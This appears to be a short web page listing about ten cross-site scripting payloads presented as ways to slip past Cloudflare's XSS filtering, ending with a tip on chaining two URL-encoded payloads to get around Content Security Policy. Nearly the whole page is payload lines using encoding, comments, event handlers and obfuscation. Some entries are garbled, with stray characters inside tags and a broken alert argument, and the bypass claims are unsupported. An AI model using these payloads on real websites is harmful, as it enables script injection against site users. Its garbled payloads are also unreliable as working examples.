Cloudflare provides robust security measures to protect websites from various attacks, including Cross-Site Scripting (XSS). However, attackers may still find ways to bypass these protections. Here are 10 examples of XSS payloads that could potentially bypass Cloudflare's XSS protection:
Copy <scrœipt>alert(1)</scrœipt>
Copy <img src=x onerror=alert(𧄣')> Using JavaScript URL encoding:
Copy <script src=javascript:alert('http://www.alert.com/script')> Using JavaScript encoding:
Copy <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
Copy <style>@import'\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0077\u0077\u0077\u002E\u0061\u006C\u0065\u0072\u0074\u002E\u0063\u006F\u006D\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u0027\u0029';</style> Using JavaScript comments:
Copy <script>/*-/**/alert(1)/*-/*-->/*</script>
Copy <body onload=alert(1)> Using JavaScript encoding with comments:
Copy <script>eval(String.fromCharCode(/*-*/97/*-*/,/*-*/108/*-*/,/*-*/101/*-*/,/*-*/114/*-*/,/*-*/116/*-*/,/*-*/40/*-*/,/*-*/49/*-*/,/*-*/41/*-*/))</script> Using JavaScript encoding with whitespace:
Copy <script>eval(String.fromCharCode( 97, 108, 101, 114, 116, 40, 49, 41 ))</script> Using JavaScript encoding with different encoding schemes:
Copy <script>eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29))</script> If CSP policies blocked you while trying XSS, be sure to try two separate XSS payloads (encoded) one after another, this may help you bypass the file.
1- %3C/script%20%3E
2- mitsecXSS%22%3E%3Cinput%20%00%20onControl%20hello%20oninput=confirm(1)%20x%3E
Last updated 6 months ago
